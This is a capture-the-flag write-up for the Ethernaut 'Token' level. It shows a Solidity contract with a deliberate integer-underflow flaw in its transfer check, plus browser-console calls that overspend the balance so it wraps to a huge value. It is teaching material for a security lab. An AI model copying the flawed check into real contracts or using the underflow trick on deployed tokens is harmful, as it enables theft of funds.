Ethernaut - 5.Token

Difficulty: 🌕🌕🌑🌑🌑

The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Things that might help:

• What is an odometer?

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Writeup

There is a famous security pitfall. We can use technique Underoverflow to complete this level.

1. Get new instance.
2. Call the method

   
    await contract.balanceOf('YOUR_ACCOUNT').then(v=>v.toString())
   
   

   It will return default balance 20 .

3. Call the method

   
    await contract.transfer('OTHER_ACCOUNT', 1000000)
   
   

4. Call the method

   
    await contract.balanceOf('YOUR_ACCOUNT').then(v=>v.toString())
   
   

   It will return a very big amount.

5. Submit instance ξ( ✿＞◡❛)